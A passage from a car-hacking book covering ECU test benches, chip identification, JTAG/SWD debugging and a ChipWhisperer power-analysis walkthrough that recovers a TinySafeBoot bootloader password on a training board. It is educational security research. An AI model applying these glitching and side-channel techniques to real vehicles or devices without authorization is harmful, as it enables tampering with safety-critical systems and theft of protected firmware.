“throttle	body	airflow	performance.”	A	quick	Google	search	will	let	you
know	that	this	is	just	a	generic	error	code	that	results	from	a	discrepancy
between	what	the	PCM	thinks	is	going	on	and	what	data	it’s	getting	from
the	intake	manifold.	If	we	wanted	to	spoof	that	data	as	well,	we’d	need	to
spoof	three	additional	sensors:	the	MAF	sensor,	the	throttle	position,	and
the	manifold	air	pressure	(MAP).	Fixing	these	may	not	actually	fix	our
problem,	though.	The	PCM	may	continue	to	think	the	vehicle	is	running
smoothly,	but	unless	you	really	care	about	fudging	all	the	data,	you	may	be
able	to	find	other	ways	to	trick	the	signals	you	want	out	of	the	PCM	without
having	to	be	immune	to	triggering	DTC	faults.

If	you	don’t	want	to	use	an	Arduino	to	send	signals,	you	can	also	buy	a
signal	generator.	A	professional	one	will	cost	at	least	$150,	but	you	can	also
get	one	from	SparkFun	for	around	$50
(http://www.sparkfun.com/products/11394/).	Another	great	alternative	is	the

http://www.sparkfun.com/products/11394/


JimStim	for	Megasquirt.	This	can	be	purchased	as	a	kit	or	fully	assembled
for	$90	from	DIYAutoTune	(http://www.diyautotune.com/catalog/jimstim-15-
megasquirt-stimulator-wheel-simulator-assembled-p-178.html).

Summary
In	this	chapter	you	learned	how	to	build	an	ECU	test	bench	as	an	affordable
solution	to	safe	vehicle	security	testing.	We	went	over	where	you	can	get
parts	for	building	a	test	bench	and	how	to	read	wiring	diagrams	so	you	know
how	to	hook	those	parts	up.	You	also	learned	how	to	build	a	more	advanced
test	bench	that	can	simulate	engine	signals,	in	order	to	trick	components
into	thinking	the	vehicle	is	present.

Building	a	test	bench	can	be	a	time-consuming	process	during	your	initial
research,	but	it	will	pay	off	in	the	end.	Not	only	is	it	safer	to	do	your	testing
on	a	test	bench,	but	these	units	are	also	great	for	training	and	can	be
transported	to	where	you	need	them.

http://www.diyautotune.com/catalog/jimstim-15-megasquirt-stimulator-wheel-simulator-assembled-p-178.html


8
ATTACKING	ECUS	AND	OTHER	EMBEDDED

SYSTEMS

The	ECU	is	a	common	target	of	reverse	engineering,	sometimes	referred	to
as	chip	tuning.	As	mentioned	in	Chapter	7,	the	most	popular	ECU	hack	is
modifying	the	fuel	map	to	alter	the	balance	of	fuel	efficiency	and
performance	in	order	to	give	you	a	higher-performance	vehicle.	There’s	a
large	community	involved	with	these	types	of	modifications,	and	we’ll	go
into	more	detail	on	firmware	modifications	like	this	in	Chapter	13.

This	chapter	will	focus	on	generic	embedded-system	methods	of	attack	as
well	as	side-channel	attacks.	These	methodologies	can	be	applied	to	any
embedded	system,	not	just	to	the	ECU,	and	they	may	even	be	used	to
modify	a	vehicle	with	the	help	of	aftermarket	tools.	Here,	we’ll	focus	on
debugging	interfaces	for	hardware	as	well	as	performing	side-channel
analysis	attacks	and	glitching	attacks.

NOTE

To	get	the	most	out	of	this	chapter,	you	should	have	a	good	understanding	of
basic	electronics,	but	I’ve	done	my	best	to	explain	things	within	reason.



Analyzing	Circuit	Boards
The	first	step	in	attacking	the	ECU	or	any	embedded	system	in	a	vehicle	is
to	analyze	the	target	circuit	board.	I	touched	upon	circuit	board	analysis	in
Chapter	7,	but	in	this	chapter,	I’ll	go	into	more	detail	about	how	electronics
and	chips	work.	I’ll	introduce	you	to	techniques	that	can	be	applied	to	any
embedded	system	in	the	vehicle.

Identifying	Model	Numbers
When	reversing	a	circuit	board,	first	look	at	the	model	numbers	of	the
microcontroller	chips	on	the	board.	These	model	numbers	can	help	you
track	down	valuable	information	that	can	be	key	to	your	analysis.	Most	of
the	chips	you’ll	find	on	vehicle	circuit	boards	are	generic—companies	rarely
make	custom	ones—so	an	Internet	search	of	a	chip’s	model	number	can
provide	you	with	the	complete	data	sheet	for	that	chip.

As	mentioned	in	Chapter	7,	you’ll	sometimes	run	into	custom	ASIC
processors	with	custom	opcodes,	especially	in	older	systems,	which	will	be
harder	to	reprogram.	When	you	encounter	older	chips	like	these,	remove
them	from	the	board	and	plug	them	in	to	an	EPROM	programmer	in	order
to	read	their	firmware.	You	should	be	able	to	reprogram	modern	systems
directly	via	debugging	software,	like	JTAG.

Once	you	locate	a	data	sheet,	try	to	identify	the	microcontrollers	and
memory	locations	on	each	chip	to	determine	how	things	are	wired	together
and	where	to	find	diagnostic	pins—a	potential	way	in.

Dissecting	and	Identifying	a	Chip
If	you	can’t	find	a	model	number,	sometimes	all	you’ll	have	to	go	on	is	the
chip’s	logo	(after	a	while,	you’ll	find	that	you	start	to	recognize	chip	logos)
and	a	few	of	its	product	codes.	The	logo	shown	in	Figure	8-1	is	for
STMicroelectronics.	At	the	top	of	the	chip	is	the	model	number—in	this
case,	STM32F407—which	may	be	hard	to	read	because	it’s	engraved.	Often,
a	light-up	magnifier	or	a	cheap	USB	microscope	can	prove	very	handy	in
reading	these	markings.	Go	to	http://www.st.com/	to	find	the	data	sheet	for
the	STM32F	series	chips,	specifically	the	407	variety.	Much	like	VIN
numbers,	model	numbers	are	often	broken	down	into	sections	representing

http://www.st.com/


model	number	and	different	variations.	There’s	no	standard	for	how	to
break	down	these	numbers,	however,	and	every	manufacturer	will	represent
their	data	differently.

Figure	8-1:	STM32	chipset	identification

Below	the	chip’s	model	number	is	the	code—in	this	case,	VGT6—which
tells	you	the	specific	features,	such	as	USB	support,	available	on	the	chip.	If
you	look	up	the	model	number	in	conjunction	with	the	ST	code,	you’ll	learn
that	the	STM32F407Vx	series	is	an	ARM	Cortext	M4	chip	with	support	for
Ethernet,	USB,	two	CANs,	and	LIN	as	well	as	JTAG	and	Serial	Wire
Debug.

To	determine	the	function	of	the	various	pins,	scan	the	data	sheet	to	find
the	package	pinout	diagrams,	and	look	for	the	package	that	matches	yours
for	pin	count.	For	example,	as	you	can	see	in	Figure	8-1,	each	side	of	the
chip	has	25	pins	for	a	total	of	100,	which	matches	the	LQFP100	pinout	in
the	data	sheet	shown	in	Figure	8-2.

Each	chip	will	usually	have	a	dot	or	dimple	at	pin	1	(see	Figure	8-1),	and
once	you	identify	pin	1,	you	can	follow	the	pinout	to	determine	each	pin’s
function.	Sometimes	you’ll	find	two	dimples,	but	one	should	be	slightly



more	pronounced.
Sometimes	pin	1	on	a	chip	is	indicated	by	a	cut-off	corner.	If	you	find

nothing	on	a	chip	that	allows	you	to	identify	pin	1,	look	for	things	you	can
identify.	For	example,	if	another	chip	on	the	board	is	a	common	CAN
transceiver,	you	could	use	a	multitool	to	trace	the	lines	to	figure	out	which
pins	it	connects	to.	You	could	then	reference	the	data	sheet	to	see	which	side
of	the	chip	contains	these	CAN	pins.	To	do	this,	put	your	multimeter	in
continuity	mode.	Once	in	continuity	mode,	it	will	beep	if	you	touch	both
pins	to	the	same	trace,	indicating	that	they’re	connected.	Once	you’re	able	to
identify	just	one	pin,	you	can	use	that	information	together	with	the	pinout
to	deduce	the	pin	layout.



Figure	8-2:	STM32F4	data	sheet	pinout

Debugging	Hardware	with	JTAG	and	Serial	Wire	Debug
You	can	use	a	variety	of	debugging	protocols	to	debug	chips	just	as	you	do
software.	To	determine	which	protocol	your	target	chip	supports,	you’ll
need	to	use	the	chip’s	data	sheet.	You	should	be	able	to	use	a	chip’s
debugging	port	to	intercept	its	processing	and	download	and	upload
modifications	to	the	chip’s	firmware.

JTAG
JTAG	is	a	protocol	that	allows	for	chip-level	debugging	and	downloading
and	uploading	firmware	to	a	chip.	You	can	locate	the	JTAG	connections	on
a	chip	using	its	data	sheet.

JTAGulator
You’ll	often	find	pads	on	a	chip’s	circuit	board	that	are	broken	out	from	the
chip	itself	and	that	may	give	you	access	to	the	JTAG	pins.	To	test	the
exposed	pads	for	JTAG	connections,	use	a	tool	like	JTAGulator,	shown	in
Figure	8-3.	Plug	all	of	the	chip’s	exposed	pins	in	to	the	JTAGulator,	and	set
the	voltage	to	match	the	chip.	JTAGulator	should	then	find	any	JTAG	pins
and	even	walk	the	JTAG	chain—a	method	of	linking	chips	over	JTAG—to
see	whether	any	other	chips	are	attached.



Figure	8-3:	JTAGulator	with	a	Bus	Pirate	cable

JTAGulator	supports	either	screw	terminals	or	the	use	of	a	Bus	Pirate
cable	(as	in	Figure	8-3)	for	probing.	Both	the	JTAGulator	and	the	Bus	Pirate
cable	use	a	serial	interface	to	configure	and	interact	with	a	chip.

Debugging	with	JTAG
You	can	debug	a	chip	with	JTAG	using	just	two	wires,	but	it’s	more
common	to	use	four	or	five	pin	connections.	Of	course,	finding	the	JTAG
connection	is	only	the	first	step;	usually,	you’ll	need	to	overcome	additional
protections	that	prevent	you	from	just	downloading	the	chip’s	firmware	in
order	to	do	anything	interesting.

Developers	will	disable	JTAG	firmware	via	either	software	or	hardware.
When	disabling	JTAG	in	software,	the	programmer	sets	the	JTD	bit,	which
is	usually	enabled	twice	via	software	during	runtime.	If	the	bit	it	isn’t	called
twice	within	a	short	time,	it’s	not	set.	It’s	possible	to	defeat	a	software
protection	like	this	by	using	a	clock	or	power-glitching	attack	to	skip	at	least



one	of	these	instructions.	(We’ll	discuss	glitching	attacks	later	in	“Fault
Injection”	on	page	148.)

The	other	way	to	disable	JTAG	on	a	chip	is	to	attempt	to	permanently
disable	programming	by	setting	the	JTAG	fuse—OCDEN	and	JTAGEN—
and	thereby	disabling	both	registers.	This	is	harder	to	bypass	with	glitch
attacks,	though	voltage	glitching	or	the	more	invasive	optical	glitches	may
succeed.	(Optical	glitches	entail	decapping	the	chip	and	using	a	microscope
and	a	laser,	so	they’re	very	costly.	We	won’t	be	covering	them	in	this	book.)

Serial	Wire	Debug
Although	JTAG	is	the	most	commonly	used	hardware	debugging	protocol,
some	microcontrollers—such	as	the	STM32F4	series,	which	is	commonly
used	in	automotive	applications	because	it	has	onboard	CAN	support—
primarily	use	Serial	Wire	Debug	(SWD).	While	the	ST32F4	series	of	ICs	can
support	JTAG,	they’re	often	wired	to	support	only	SWD	because	SWD
requires	only	two	pins	instead	of	the	five	used	for	JTAG.	SWD	also	allows
overlapping	of	the	JTAG	pins,	so	these	chips	may	support	both	JTAG	and
SWD	by	using	the	pins	labeled	TCK	and	TMS.	(These	pins	are	labeled
SWCLK	and	SWIO	in	the	data	sheet.)	When	debugging	ST	chips,	you	can
use	a	tool	like	ST-Link	to	connect,	debug,	and	reflash	the	processor.	ST-
Link	is	cheap	(about	$20)	compared	to	some	of	its	JTAG	counterparts.	You
can	also	use	a	STM32	Discovery	board.

The	STM32F4DISCOVERY	Kit
The	STM32F4DISCOVERY	kit	(sold	by	STM)	is	another	tool	you	can	use
to	debug	and	program	these	chips.	These	are	actually	developer	boards	with
their	own	programmer.	They	cost	about	$15	and	should	be	in	your	car
hacking	tool	set.	The	benefit	of	using	the	Discovery	kit	is	that	it’s	both	a
cheap	programmer	and	a	development	board	that	you	can	use	to	to	test
modifications	to	the	chip’s	firmware.

In	order	to	use	the	Discovery	kit	as	a	generic	programmer,	remove	the
jumpers	from	the	pins	labeled	ST-Link,	and	then	connect	the	six	pins	on	the
opposite	side	labeled	SWD	(see	Figure	8-4).	Pin	1	starts	next	to	the	white
dot	on	the	SWD	connector.

Table	8-1	shows	the	pinout.



Table	8-1:	Pinout	for	the	STM32F4DISCOVERY	kit

STM32	chip STM32F4DISCOVERY	kit

VDD_TARGETPin	1

SWLCK Pin	2

GND Pin	3

SWDIO Pin	4

nRESET Pin	5

SWO Pin	6

Figure	8-4:	Programming	a	STM32	chip	via	the	STM32F4DISCOVERY	kit

You’ll	most	likely	need	to	provide	power	to	the	target	device,	but	instead
of	using	pin	1	on	the	SWD	connector,	use	the	3V	pin	from	the	Discovery
portion	of	the	board,	as	shown	in	Figure	8-4.	(Notice	in	the	pinout	that	the



Discovery	kit	doesn’t	use	all	six	pins	for	SWD;	pins	nRESET	and	SWO	are
optional.)

Once	you’re	connected,	you’ll	most	likely	want	to	read	and	write	to	the
firmware.	If	you’re	running	Linux,	you	can	get	the	ST-Link	from	GitHub	at
https://github.com/texane/stlink/.	Once	you	have	those	utilities	installed,	you’ll
not	only	be	able	to	read	and	write	to	the	chip’s	flash	memory,	but	you	can
also	start	a	gdbserver	to	work	as	a	real-time	debugger.

The	Advanced	User	Debugger
Renesas	is	a	popular	automotive	chipset	used	in	ECUs	(see	Figure	8-5).	It
has	its	own	implementation	over	JTAG	called	the	Advanced	User	Debugger
(AUD).	AUD	provides	the	same	functionality	as	JTAG	but	with	its	own
proprietary	interface.	As	with	SWD,	AUD	requires	an	interface	specific	to	it
in	order	to	communicate	with	Renesas	chipsets.

Figure	8-5:	2005	Acura	TL	ECU	with	Renesas	SH	MCU	and	AUD	port

https://github.com/texane/stlink/


Nexus
Nexus	from	Freescale/Power	Architecture	(now	NXP)	is	another	proprietary
JTAG	interface.	Like	AUD	and	SWD,	this	in-circuit	debugger	requires	its
own	device	in	order	to	interface	with	it.	When	dealing	with	Freescale	chips,
such	as	the	MCP5xxx	series,	keep	in	mind	that	the	debugger	may	be	Nexus.

The	Nexus	interface	uses	a	dedicated	set	of	pins	that	should	be	defined	in
the	chipset’s	data	sheet.	Look	for	the	EVTI/O	pins	in	the	auxiliary	port
section	of	the	data	sheet.

Side-Channel	Analysis	with	the	ChipWhisperer
Side-channel	analysis	is	another	hardware	attack	used	to	bypass	ECU	and
other	microcontroller	protections	and	to	crack	built-in	cryptography.	This
type	of	attack	takes	advantage	of	various	characteristics	of	embedded
electronic	systems	instead	of	directly	targeting	specific	hardware	or	software.
Side-channel	attacks	take	many	forms,	and	some	can	cost	anywhere	from
$30,000	to	$100,000	to	perform	because	they	require	specialized	equipment
like	electron	microscopes.	Expensive	side-channel	attacks	like	these	are	often
invasive,	meaning	they’ll	permanently	alter	the	target.

We’ll	focus	on	simpler	and	cheaper	side-channel	attacks	with	the	help	of
the	ChipWhisperer,	a	noninvasive	tool	from	NewAE	Technologies
(http://newae.com/chipwhisperer/).	The	ChipWhisperer	is	an	open	source	side-
channel	analysis	tool	and	framework	that	costs	just	over	$1,000—
considerably	less	than	its	non–open	source	counterparts,	which	typically	start
around	$30,000.

NOTE

It’s	possible	to	accomplish	the	attacks	I’ll	discuss	at	less	of	a	cost	by	building	a
specialized	device,	but	the	ChipWhisperer	is	the	cheapest	tool	that	covers	all	the
main	bases.	Also,	ChipWhisperer	tutorials	target	open	source	designs,	which
makes	them	ideal	for	this	book,	since	we	can’t	use	examples	from	specific
manufacturers	due	to	copyright.	I’ll	integrate	the	NewAE	tutorials	throughout
this	chapter	when	demonstrating	each	attack.

The	ChipWhisperer	has	an	optional	package	that	includes	a	target

http://newae.com/chipwhisperer/


development	board	called	the	MultiTarget	Victim	Board	(see	Figure	8-6).
This	board	is	mainly	used	for	demonstration	and	training,	and	we’ll	use	it	as
the	target	of	our	demos	as	well.

Figure	8-6:	MultiTarget	Victim	Board

The	MultiTarget	Victim	Board	is	basically	three	separate	systems:	an
ATmega328,	a	XMEGA,	and	a	smart	card	reader.	(The	ChipWhisperer	can
perform	man-in-the-middle	attacks	on	smart	cards,	but	because	cars	don’t
really	use	smart	cards,	we	won’t	cover	that	feature	here.)

By	changing	jumpers	on	the	board,	you	can	pass	power	to	enable	or
disable	different	systems,	but	be	careful	to	enable	only	one	section	at	a	time,
or	you	may	short	the	board.	Pay	attention	to	the	jumper	settings	before
testing.

Installing	the	Software
First	install	the	ChipWhisperer	software.	The	following	instructions	are	for
Linux,	but	you	can	find	detailed	setup	instructions	for	Windows	at
http://www.newae.com/sidechannel/cwdocs/.

http://www.newae.com/sidechannel/cwdocs/


The	ChipWhisperer	software	requires	Python	2.7	and	some	additional
Python	libraries	to	run.	First,	enter	the	following	code:

$	sudo	apt-get	install	python2.7	python2.7-dev	python2.7-libs	python-
numpy
python-scipy	python-pyside	python-configobj	python-setuptools	python-
pip	git
$	sudo	pip	install	pyusb-1.0.0b1

To	get	the	ChipWhisperer	software,	you	can	either	download	a	stable
version	as	a	ZIP	file	from	the	NewAE	site	or	grab	a	copy	from	the	GitHub
repository,	as	shown	here:

$	git	clone	git://git.assembla.com/chipwhisperer.git
$	cd	chipwhisperer
$	git	clone	git://git.assembla.com/openadc.git

The	second	git	command	downloads	OpenADC.	The	OpenADC	board
of	the	ChipWhisperer	is	the	oscilloscope	part,	which	measures	voltage
signals	and	is	basically	the	heart	of	the	ChipWhisperer	system.	Use	the
following	commands	to	set	up	the	software	(you	should	be	root	in	the
ChipWhisperer	directory):

$	cd	openadc/controlsw/python
$	sudo	python	setup.py	develop
$	cd	software
$	sudo	python	setup.py	develop

The	hardware	is	already	natively	supported	by	Linux,	but	you	should	add
a	group	for	the	normal	user	that	you’ll	test	so	that	the	user	can	have	access	to
the	device	without	needing	root	privileges.	To	allow	non-root	users	to	use
the	equipment,	create	a	udev	file,	such	as	/etc/udev/rules.d/99	-ztex.rules,	and
add	the	following	to	that	file:

SUBSYSTEM=="usb",	ATTRS{idVendor}=="04b4",	ATTRS{idProduct}=="8613",
MODE="0664",	GROUP="plugdev"
SUBSYSTEM=="usb",	ATTRS{idVendor}=="221a",	ATTRS{idProduct}=="0100",
MODE="0664",	GROUP="plugdev"

Also,	create	a	file	for	the	AVR	programmer	called	/etc/udev/rules.d/	99-
avrisp.rules:

SUBSYSTEM=="usb",	ATTRS{idVendor}=="03eb",	ATTRS{idProduct}=="2104",



MODE="0664",	GROUP="plugdev"

Now	add	yourself	(you’ll	need	to	log	out	and	back	in	for	these	new
permissions	to	take	effect):

$	sudo	usermod	-a	-G	plugdev	<YourUsername>
$	sudo	udevadm	control	–reload-rules

Connect	the	ChipWhisperer	to	your	machine	by	plugging	a	mini-USB
cable	in	to	the	side	of	the	ChipWhisperer	box.	The	green	System	Status
light	on	the	top	should	light	up,	and	your	ChipWhisperer	should	now	be	set
up	or	at	least	in	its	unconfigured	core.

Prepping	the	Victim	Board
To	prep	the	Victim	Board—or	device	under	test	(DUT),	as	it’s	referred	to	in
the	ChipWhisperer	documentation—download	the	AVR	Crypto	library	(the
library	isn’t	included	with	the	ChipWhisperer	framework	by	default	due	to
export	laws)	by	entering	the	following:

$	cd	hardware/victims/firmware
$	sh	get_crypto.sh

We’ll	use	the	AVRDUDESS	GUI	to	program	our	Victim	Board.	You
can	get	AVRDUDESS	from	its	GitHub	repository	at
https://github.com/zkemble/avrdudess/	or	grab	binaries	from	sites	such	as
http://blog.zakkemble.co.uk/avrdudess-a-gui-for-avrdude/.	You’ll	need	to	install
mono	for	this	to	work:

$	sudo	apt-get	install	libmono-winforms2.0-cil

Next,	make	sure	the	Victim	Board	is	set	up	to	use	the	ATmega328
portion	by	changing	the	jumper	settings	to	match	the	layout	in	Figure	8-7.

https://github.com/zkemble/avrdudess/
http://blog.zakkemble.co.uk/avrdudess-a-gui-for-avrdude/


Figure	8-7:	Jumper	settings	for	the	MultiTarget	Victim	Board

Your	ChipWhisperer	should	have	come	with	a	20-pin	ribbon	cable.	Plug
this	cable	in	to	the	back	of	the	ChipWhisperer	and	the	USB	A/B	cable	in	to
the	side,	as	shown	in	Figure	8-8.	Dmesg	should	report	seeing	an	AVRISP
mkII	plugged	in,	which	is	the	programmer	that	we’ll	use	to	program	the
target	board.	This	will	allow	us	to	perform	testing	without	disconnecting	the
device.



Figure	8-8:	Wiring	up	the	MultiTarget	Victim	Board

Finally,	attach	the	SMA	cable	from	the	VOUT	on	the	target	board	to	the
LNA	connector	in	CH-A	on	the	front	of	the	ChipWhisperer.	Table	8-2
shows	the	pinout.	We’ll	use	this	setup	for	our	demos	unless	otherwise
specified.

Table	8-2:	Pinout	for	the	MultiTarget	Victim	Board

Victim	Board ChipWhisperer Component

20-pin	connectorBack	of	the	ChipWhisperer20-pin	ribbon	cable

VOUT LNA	on	CH-A SMA	cable

Computer Side	of	the	ChipWhisperer Mini	USB	cable



Brute-Forcing	Secure	Boot	Loaders	in	Power-Analysis
Attacks
Now	you	have	your	Victim	Board	set	up,	we’ll	look	at	using	a	power-analysis
attack	to	brute-force	a	password.	Power-analysis	attacks	involve	looking	at
the	power	consumption	of	different	chipsets	to	identify	unique	power
signatures.	By	monitoring	the	power	consumption	for	each	instruction,	it’s
possible	to	determine	the	type	of	instruction	being	executed.	For	instance,	a
no-operation	(NOP)	instruction	will	use	less	power	than	a	multiply	(MUL)
instruction.	These	differences	can	reveal	how	a	system	is	configured	or	even
whether	a	password	is	correct	because	a	correct	password	character	may	use
more	power	than	an	incorrect	one.

In	the	following	example,	we’ll	explore	TinySafeBoot
(http://jtxp.org/tech/tinysafeboot_en.htm),	a	small,	open	source	bootloader
designed	for	AVR	systems.	The	bootloader	requires	a	password	in	order	to
make	modifications.	We’ll	use	the	ChipWhisperer	to	exploit	a	vulnerability
in	its	password-checking	method	and	derive	the	password	from	the	chip.
This	vulnerability	has	been	fixed	in	newer	versions	of	TinySafeBoot,	but	for
practice,	the	old	version	is	included	in	the	victims	folder	of	the
ChipWhisperer	framework.	This	tutorial	is	based	on	NewAE’s	“Timing
Analysis	with	Power	for	Attacking	TSB”
(http://www.newae.com/sidechannel/cwdocs/tutorialtimingpasswd.html).

Prepping	Your	Test	with	AVRDUDESS
To	begin,	open	AVRDUDESS	and	select	AVR	ISP	mkII	from	the
Programmer	drop-down	menu.	Make	sure	you	have	ATmega328P	selected
in	the	MCU	field,	and	then	click	Detect	to	verify	that	you’re	connected	to
the	ATmega328p	(see	Figure	8-9).	Select	the	flash	file
hardware/victims/firmware/	tinysafeboot-20140331	in	the	Flash	field.

http://jtxp.org/tech/tinysafeboot_en.htm
http://www.newae.com/sidechannel/cwdocs/tutorialtimingpasswd.html


Figure	8-9:	Programming	TinySafeBoot	in	AVRDUDESS

Click	Program!	and	AVRDUDESS	should	write	the	TinySafeBoot
program	to	the	ATmega.

Setting	Up	the	ChipWhisperer	for	Serial
Communications
Now	we’re	ready	for	testing!	We’ll	use	the	ChipWhisperer	to	set	and
monitor	the	power	usage	when	the	bootloader	checks	for	the	password.
Then,	we’ll	use	this	information	to	build	a	tool	to	crack	the	password	much
faster	than	a	traditional	brute-force	method	would.	To	begin,	set	up	the



ChipWhisperer	to	communicate	with	the	bootloader	over	the	bootloader’s
serial	interface,	like	this:

$	cd	software/chipwhisperer/capture
$	python	ChipWhispererCapture.py

The	ChipWhisperer	has	lots	of	options,	so	we’ll	go	step	by	step	through
each	setting	you’ll	need	to	change.

1.	 In	ChipWhispererCapture,	go	to	the	General	Settings	tab	and	set	the
Scope	Module	to	ChipWhisperer/OpenADC	and	the	Target	Module
to	Simple	Serial,	as	shown	in	Figure	8-10.

Figure	8-10:	Setting	the	Scope	and	Target	types



Figure	8-11:	Setting	Connection	and	Baud

2.	 Switch	to	the	Target	Settings	tab	(at	the	bottom	of	the	window),	and
change	the	Connection	setting	to	ChipWhisperer.	Then	under	Serial
Port	Settings,	set	both	TX	Baud	and	RX	Baud	to	9600,	as	shown	in
Figure	8-11.

3.	 At	the	top	of	the	screen,	click	the	red	circle	next	to	Scope	with	DIS	in	it.
The	circle	should	become	green	and	display	CON.

4.	 The	ChipWhisperer	comes	with	a	simple	serial	terminal	interface.
Choose	Tools	▸	Open	Terminal	to	open	it.	You	should	see	a	terminal
like	the	one	shown	in	Figure	8-12.



Figure	8-12:	ChipWhisperer	serial	terminal

5.	 Set	TX	on	Enter	at	the	bottom	of	the	terminal	to	None,	and	check	the
box	that	says	RX:	Show	non-ASCII	as	hex	(see	Figure	8-12).	Now
click	Connect	to	enable	your	text	areas.

6.	 Enter	@@@	(TinySafeBoot’s	start-up	password)	in	the	text	field	to	the
left	of	the	Send	button,	and	click	Send.	The	bootloader	should	start
with	TSB	and	mainly	contain	information	about	the	firmware	version
and	AVR	settings.	TSB	is	just	an	identifier	used	by	TinySafeBoot,	most
likely	its	initials.	The	output	should	match	that	in	Figure	8-12.

Setting	a	Custom	Password
Now	we	need	to	set	a	custom	password	so	that	we	can	monitor	the	power
levels	when	a	password	is	entered.

First,	close	the	serial	terminal.	Then	enter	the	following	lines	in	the
Python	console	window,	which	is	at	the	bottom	center	of	the
ChipWhisperer	main	window.



>>>	self.target.driver.ser.write("@@@")
>>>	self.target.driver.ser.read(255)

We	use	the	serial	command	self.target.driver.ser.write("@@@")	to	send
the	current	password	for	the	bootloader.	Next,	we	enter	the	serial	command
self.target.driver.ser.read(255)	to	read	up	to	the	next	255	bytes	from	the
bootloader	to	see	its	response	to	our	sending	the	password	(see	Figure	8-13).

Figure	8-13:	Sending	@@@	via	ChipWhisperer’s	Python	console

For	convenience,	first	assign	the	read	and	write	commands	to	their	own
variables	so	you	don’t	have	to	enter	such	a	long	command	(the	following
examples	assume	you’ve	completed	this	step):

>>>	read	=	self.target.driver.ser.read
>>>	write	=	self.target.driver.ser.write

The	password	is	stored	in	the	last	page	of	the	device’s	flash	memory.
We’ll	grab	that	page,	remove	the	confirmation	!	character	from	the
response,	and	write	a	new	password—og—to	the	firmware.

NOTE

You’ll	find	a	more	detailed	explanation	of	this	procedure	in	the	NewAE
tutorials
(http://www.newae.com/sidechannel/cwdocs/tutorialtimingpasswd.html)
or	Python	manuals.

Return	to	the	Python	console,	and	enter	Listing	8-1.

>>>	write('c')
>>>	lastpage	=	read(255)
>>>	lastpage	=	lastpage[:-1]
>>>	lastpage	=	bytearray(lastpage,	'latin-1')

http://www.newae.com/sidechannel/cwdocs/tutorialtimingpasswd.html


>>>	lastpage[3]	=	ord('o')
>>>	lastpage[4]	=	ord('g')
>>>	lastpage[5]	=	255
>>>	write('C')
>>>	write('!')
>>>	write(lastpage.decode('latin-1'))

Listing	8-1:	Modifying	the	last	page	of	memory	to	set	the	password	to	og

If	the	login	times	out,	resend	@@@	like	so:

>>>	write("@@@")

Once	you’ve	written	the	new	characters	to	memory,	verify	that	og	is	the
new	password	with	write("og"),	followed	by	a	read(255)	in	the	Python
console.	Notice	in	Figure	8-14	that	we	first	try	sending	@@@	but	that	we	don’t
get	a	TinySafeBoot	response	until	we	send	the	og	password.



Figure	8-14:	Setting	the	password	to	og

Resetting	the	AVR
Having	changed	the	password,	we	can	start	reading	power	signals.	First,	we
need	to	be	able	to	get	out	of	the	infinite	loop	that	the	system	goes	into	when
we	enter	an	incorrect	password.	Write	a	small	script	to	reset	the	AVR	when
this	happens.	While	still	in	the	Python	console,	enter	the	following
commands	to	create	a	resetAVR	helper	function:

>>>	from	subprocess	import	call
>>>	def	resetAVR:
call(["/usr/bin/avrdude",	"-c",	"avrispmkII",	"-p",	"m328p"])

Setting	Up	the	ChipWhisperer	ADC
Now,	set	up	the	ChipWhisperer	ADC	so	that	it	knows	how	to	record	the
power	trace.	Return	to	the	ChipWhisperer	main	window,	click	the	Scope
tab,	and	set	the	values	as	shown	in	Table	8-3	and	Figure	8-15.

Table	8-3:	Scope	Tab	Settings	to	Set	Up	the	OpenADC	for	the	Victim
Board

Area Category Setting Value

OpenADCGain	Setting Setting 40

OpenADCTrigger	SetupMode Falling	edge

OpenADCTrigger	SetupTimeout 7

OpenADCADC	Clock Source EXTCLK	x1	via	DCM

CW	Extra Trigger	Pins Front	Panel	A Uncheck

CW	Extra Trigger	Pins Target	IO1	(Serial	TXD)Check

CW	Extra Trigger	Pins Clock	Source Target	IO-IN

OpenADCADC	Clock Reset	ADC	DCM Push	button



Figure	8-15:	ADC	values	to	trigger	on	Serial	TX

Monitoring	Power	Usage	on	Password	Entry
Now	we’ll	monitor	the	power	usage	when	entering	a	password	to	see
whether	we	can	spot	a	difference	in	power	between	a	valid	and	an	invalid
password.	We’ll	look	at	what	happens	when	we	enter	the	now	invalid
password	of	@@@.	Recall	from	earlier	that	when	the	bootloader	detects	that
you’ve	entered	a	wrong	password,	it’ll	go	into	an	infinite	loop,	so	we	can
monitor	what	the	power	usage	looks	like	at	that	point.	Of	course,	you’ll	need
to	exit	that	infinite	loop,	so	once	you’ve	tried	the	incorrect	password	and	are
sent	into	a	loop,	reset	the	device	and	try	to	enter	another	password.	To	do



this,	navigate	to	the	password	prompt	in	the	Python	console	as	follows:

>>>	resetAVR()
>>>	write("@@@")

Now,	issue	the	next	command	with	the	correct	password,	but	do	not	click
Enter	yet:

>>>	write("og")

Click	1	in	the	green	play	icon	in	the	toolbar	to	record	one	power	trace.
Immediately	after	you	do	so,	click	Enter	in	the	Python	console.	A	Capture
Waveform	window	should	open	and	show	you	the	power	trace	recording	of
the	valid	password	(see	Figure	8-16).

Figure	8-16:	Power	trace	of	a	valid	password

The	details	of	Figure	8-16	aren’t	that	important;	the	point	is	to	give	you	a
feel	for	what	a	“good”	signal	looks	like.	The	thick	lines	you	see	are	normal
processing,	and	there’s	a	dip	around	the	8,000	sample	range	when	the



processing	instructions	changed.	(This	could	be	something	in	the	password
check,	but	let’s	not	get	hung	up	on	details	at	this	stage.)

Now,	enter	an	invalid	password—ff:

>>>	resetAVR()
>>>	write("@@@")
>>>	write("ff")

Figure	8-17	shows	the	power	trace	for	this	password.

Figure	8-17:	Power	trace	for	a	password	with	no	valid	characters

You	can	see	that	the	program	hangs	in	its	infinite	loop	when	the	power
reading	shifts	from	normal	to	a	near	consistent	0	power	usage.

Now,	let’s	try	a	password	with	a	valid	first	character	to	see	whether	we
notice	a	difference:

>>>	resetAVR()
>>>	write("@@@")
>>>	write("of")



In	Figure	8-18,	one	additional	chunk	is	active	before	the	device	enters	the
infinite	loop.	We	see	normal	power	usage,	followed	by	the	dip	at	8,000	that
we	saw	in	the	first	valid	reading,	and	then	some	more	normal	usage	before
the	device	enters	the	infinite	loop	of	0	usage.

Figure	8-18:	Power	trace	of	a	password	with	a	valid	first	character

NOTE

You	can	determine	the	size	of	samples	used	for	one	valid	character	by
measuring	the	length	between	the	dip	at	8,000	and	the	infinite	loop	that	starts
around	16,000.	In	this	case,	we	can	roughly	approximate	that	the	sample	size
to	check	one	character	is	about	8,000	traces	(16,000	–	8,000).

Scripting	the	ChipWhisperer	with	Python
Because	the	ChipWhisperer	is	written	in	Python,	it’s	highly	scriptable,	so
